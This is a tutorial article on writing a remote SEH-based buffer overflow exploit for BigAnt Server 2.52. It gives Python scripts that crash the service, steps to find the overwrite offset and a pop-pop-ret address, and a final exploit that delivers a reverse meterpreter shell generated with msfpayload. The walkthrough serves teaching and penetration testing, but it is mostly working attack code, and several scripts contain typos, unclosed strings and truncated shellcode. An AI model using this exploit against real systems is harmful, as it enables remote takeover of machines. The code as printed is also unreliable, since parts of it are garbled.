Remote Buffer Overflow Exploits |
Remote Buffer Overflow Exploits
Author: Amit Malik aka DouBle_Zer0 
See Also
"A remote exploit works over a network and exploits the security vulnerability without any prior access to the vulnerable system." - Wikipedia.
In this article, I will try to explain the concepts of Remote Buffer overflow exploits from a practical perspective. This paper doesnt not explain the concepts of O.S and Processor that are very necessary to understand the exploit development process, doesn't matter that you are messing with a complex application or a simple application. So it is assumed that readers have some background knowledge about exploits.

Here we will learn to exploit remote buffer overflow vulnerability in BigAnt Server.
A vulnerability has been identified in BigAnt Server, which could be exploited by remote attackers to compromise a vulnerable system. This issue is caused by a buffer overflow when processing an overly long "USV" request, which could be exploited by remote attackers to crash an affected server or execute arbitrary code by sending a specially crafted packet to port 6660/TCP.
(Source : Vupen)

As you can see in the advisory that application is prone to buffer overflow, notice the request "USV" . So on the basis of this information we start our journey of exploit development.
Exploit Development process
Now to verify the vulnerability let us quickly write a python script that will send the 3000 A's (you can choose this value according to your needs ?) to the application with "USV" request.

import sys, socket
host = sys.argv[1] #command line argument
buffer = "\x41"* 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STRAEM) #for Tcp
s.send("USV " + buffer + "\r\n\r\n)

chmod u+x
we execute the script.. Now 
remote exploits 
As you can see in the figure that application status is "stopped" means it verify that application is vulnerable to buffer overflow and it also gives us an idea that 3000 A's are enough to trigger the overflow. Now our next step is to find out the type of overflow means direct EIP overwrite or SEH (Structured Exception Handler) overwrite and the correct offset means after how many bytes EIP and SEH overwrite occur.

On the basis of background application study I can say that direct EIP overwrite is not possible but application allow SEH overwrite so we exploit the application using SEH overwrite method. Now we have to find out the offset, means after how many bytes SEH overwrite occur. To do this we will use metasploit pattern_create script that generate random sequence string.
On backtrack 4 navigate to /pentest/exploits/framework3/tools 
Execute ./pattern_create.rb 3000 
copy and paste the output in the above script. Now script looks like this. 
import sys, socket
host = sys.argv[1] #command line argument
buffer = ("Aa0Aa1Aa2Aa3Aa..v4Dv5Dv6Dv7Dv8Dv9) #size 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STRAEM) #for Tcp
s.send("USV " + buffer + "\r\n\r\n)
Now attach the application to the DEBUGGER (ollydbg or immunity olly or any other). In Debugger go to File->attach and choose AntServer tcp 6660 and click on attach button. Then click on debugger start button as shown in the screen below.
remote exploits 
Now everything is up and running, execute the script. 
Our debugger look like this,
remote exploits 
As you can see in the debugger that pointer to SEH record and SE handler are overwritten with our random data means    
013CFD7C 31674230 0Bg1 Pointer to next SEH record
013CFD80 42326742 Bg2B SE handler 
Now copy 42326742 and go back to metasploit tools and execute 
./pattern_offset 42326742 3000 
And the output will be 966 means after 966 bytes our seh overwrite occur. Minus 4 bytes for next seh record and now we have 962 bytes. That's all we need. Now our task is to find out the pop pop ret. But before that I would like to explain something. In a general seh overflow exploit we overwrite the SE Handler with pop pop ret and pointer to next Seh record with a short jump that jump over the SE handler. Means situation looks like this, 
[aaaa...][short jump][pop pop ret][nops..][shellcode][nops] ^------------------------?^  
Short jump jump over pop pop ret and we land into nops and then execute shellcode. But in this paper I am using a different approach, and this approach is most widely used to bypass safe seh. Means rather than to jump over SE Handler why not to jump back via short jump.. means the situation looks like this.. 
[nops][shellcode][near jump][short jump][pop pop ret] ^?----------------^ ^?-----------<^ 
See the difference between both diagrams,take some time to understand this. Now question is why to use Two jumps? because we can not jump 900 bytes back via short jump so we have to use a near jump. We first jump on the near jump via short jump and then jump back to nops via near jump and technically speaking we can partial overwrite the SE Handler(pop pop ret ) as we do in most of the cases and that work fine for most of the applications.

But application (BigAnt Server) is slightly different and don't allow the partial overwrite. (slightly play with application and indentify the problem ?) Now it's time to search for a pop pop ret, you can use findjump tool or debuggers to find out the addresses. The address I am using is 0f9a3295.

So the final exploit structure is like below,
[nops][shellcode][nops][near jump][short jump][pop pop ret]

Nops = "\x90" * 20
Shellcode = from metasploit           #using 643 byte shellcode
Nops = "\x90"* 294
Near jump = "\xe9\x4c\xfc\xff\xff"   #jump into nop sled (5bytes)
 ------------962 bytes--------------     #jump 5 byte back means on near jump
Pop pop ret = "\x95\x32\x9a\x0f"    #little endian 
Due to application constraints we have to add some garbage after pop pop ret and this is the main reason that we can't partial overwrite the register. 
Garbage = "\x41"* 1000 
Now everything is in position butt.. where is shellcode ok lets generate a reverse meterpreter shellcode. Here is the command,
#./msfpayload windows/meterpreter/reverse_tcp LHOST= R | ./msfencode -e x86/alpha_mixed -t c  
 Notice the pipe (|) in the above command (after R)..  Now everything is ready. Put all things in the script.. 
#BigAnt Server 2.52 remote buffer overflow exploit 2
#Author: DouBle_Zer0
#Vulnerability discovered by Lincoln
#a another version of the original exploit (by Lincoln)
#application is little hazy..

import sys,socket
host = sys.argv[1]
buffer= "\x90" * 20

#./msfpayload windows/meterpreter/reverse_tcp LHOST= R | ./msfencode -e x86/alpha_mixed -t c #size 643 byte

buffer+= ("\x89\xe1\xd9\xce\xd9\x71\xf4\x59\x49\x49\x49\x49\x49\x49\x49"

buffer+= "\x90" * 294
buffer+= "\xe9\x4c\xfc\xff\xff"  #near jmp -----> shellcode
buffer+= "\xeb\xf9\x90\x90"    #short jmp ----> near jmp
buffer+= "\x95\x32\x9a\x0f"    #p/p/r(partial overwrite is not possible as far as i know)
buffer+= "\x41" * 1000           #play

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.send("USV " + buffer + "\r\n\r\n")

Start metasploit multi handler and boom meterpreter shell is in your hands..Now you can control the remote machine and can do anything means anything  
remote exploits 
Video Demonstration
Here is the video demonstration showing the exploitation in action

Remote buffer overflow tutorial from D0uBle ZerO Zer0 on Vimeo.

  1. Advisory to Exploit Using Metasploit
  2. Exploit-DB - Remote Buffer Overflow Exploit -BigAnt Server
  3. Metasploit - Popular Penetration Testing Framework
  4. FindJump Tool
See Also